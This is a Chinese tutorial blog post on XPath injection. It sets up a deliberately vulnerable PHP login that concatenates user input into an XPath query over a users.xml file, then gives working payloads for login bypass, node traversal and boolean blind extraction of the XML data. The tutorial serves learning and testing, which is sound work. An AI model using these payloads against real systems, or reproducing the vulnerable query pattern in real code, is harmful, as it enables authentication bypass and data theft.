内容简介:XPath 是一门在 XML 文档中查找信息的语言,类比来看, XML 为数据库,XPath 为 SQL语言,用于查询数据。有查询嘛,十有八九就有注入的方式。还有一个利用 XPath 在线解析 xml 的,
XPath 是一门在 XML 文档中查找信息的语言,类比来看, XML 为数据库,XPath 为 SQL 语言,用于查询数据。有查询嘛,十有八九就有注入的方式。
XPath 简介
XPath
,经常写爬虫的人应该都不陌生。比如 Python 中,经常使用 lxml 来获取网页的元素,特别方便。
对应的 Chrome 也有一个插件,叫 XPath Helper
,能直接给出鼠标所在的 XPath 路径:
还有一个利用 XPath 在线解析 xml 的, 传送门:door:
强烈推荐,这些辅助 工具 都很好用。
XPath 极速入门
菜鸟教程: 传送门:door:
助攻函数
字符串相关
chr
其他函数
- count(item[, item1, …]):返回节点的数量。
- position():返回当前正在被处理的节点的 index 位置。
- last():返回在被处理的节点列表中的项目数目。
- name([nodeset]):返回当前节点的名称或指定节点集中的第一个节点。
注入类型
XPath 注入基本上被分为常规注入和布尔盲注。测试代码如下:
users.xml:
<?xml version="1.0" encoding="UTF-8"?> <root> <users> <user> <id>1</id> <username>admin</username> <password type="md5">0192023a7bbd73250516f069df18b500</password> </user> <user> <id>2</id> <username>jack</username> <password type="md5">1d6c1e168e362bc0092f247399003a88</password> </user> <user> <id>3</id> <username>tony</username> <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password> </user> </users> <secret> <flag>flag{My_f1rst_xp4th_iNjecti0n}</flag> </secret> </root>
index.php:
<?php $xml = simplexml_load_file('users.xml'); $name = $_GET['u']; $pwd = md5($_GET['p']); $query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']"; echo $query; $result = $xml->xpath($query); if($result) { echo '<h2>Welcome</h2>'; foreach ($result as $key => $value) { echo '<br />ID:'.$value->id; echo '<br />Username:'.$value->username; } }
常规注入
万能密码
这段测试代码的查询语句如下:
/root/users/user[username/text()='' and password/text()='']
显而易见,注入点只有 username,因为 password 会进行 md5。首先很容易想到万能密码:
payload:
u = "admin' or '1" p = ""
结果:
/root/users/user[username/text()='admin' or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
这个 payload 需要知道一个存在的用户名。如果不知道的话,再加个 or
就行了:
payload
u = "' or 1 or '1" p= ""
结果
/root/users/user[username/text()='' or 1 or '1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
这里顺便一提,XPath 没有注释一说,所以构造的 payload 要精巧地闭合原语句。
节点遍历
payload
u = "admin'] | //* | //*['" p = ""
结果
/root/users/user[username/text()=''] | //* | //*['' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
需要注意的是,这里的 |
(路径运算符)不能用 or
(布尔运算符) 替代,它们是不一样的。
显然,节点遍历也能起到万能密码的作用,且无需知道一个存在的用户名。
布尔盲注
上面的 节点遍历
实际上是有点问题的,很明显我们没有拿到所有的数据,原因是 php 只会输出 id
和 username
。从上面的截图也可以看出来,如果某个节点的名字不是 id 或者 username,php 就会打印空数据。这个时候就只能利用布尔盲注来获取数据了。
- 判断根节点数量:
payload:u = "' or count(/)=1 or '1"
count(/)=1
一直到count(/)=n
,判断出根节点有几个。
当u = "' or count(/)=1 or '1"
返回正常,说明只有 1 个根节点。 - 获取根节点名
首先获取名字长度。
payload:u = "' or string-length(name(/*[1]))=1 or '1"
string-length(name(/*[1]))=1
一直到string-length(name(/*[1]))=1
,判断出第一个根节点的名字长度。
当u = "' or string-length(name(/*[1]))=4 or '1"
返回正常,说明第一个根节点的名字长度为 4。
接下来获取逐个字符获取名字
payloadu = "' or substring(name(/*[1]), 1, 1)='a' or '1"
遍历完所有的 ascii 字符后,判断出第一个根节点的名字的第一个字符。
当u = "' or substring(name(/*[1]), 1, 1)='r' or '1"
返回正常,说明第一个根节点的名字的第一个字符为r
。按照这个方法,可以判断出根节点名称为root
。
按照上述步骤,可知 root 下的子节点数为 2,第一个子节点的名称为users
,第二个为secret
…不断重复上述过程,即可拿到完整的 XML 文件。
技巧
XPath 中有很多函数、Axes 可以替代类似 /
路径的作用,例如 root()
返回根节点、 child
选取当前节点的所有子元素等等。
Axes 在这找: 传送门:door:
函数可以在这里找找: 传送门:door:
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- Angular 4 依赖注入教程之二 组件中注入服务
- 服务端注入之Flask框架中服务端模板注入问题
- 服务器端电子表格注入 - 从公式注入到远程代码执行
- SQL注入测试技巧TIP:再从Mysql注入绕过过滤说起
- 手机抓包+注入黑科技HttpCanary——最强大的Android抓包注入工具
- 三, 跨语言微服务框架 - Istio官方示例(自动注入.请求路由.流量控制.故障注入) 原 荐
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。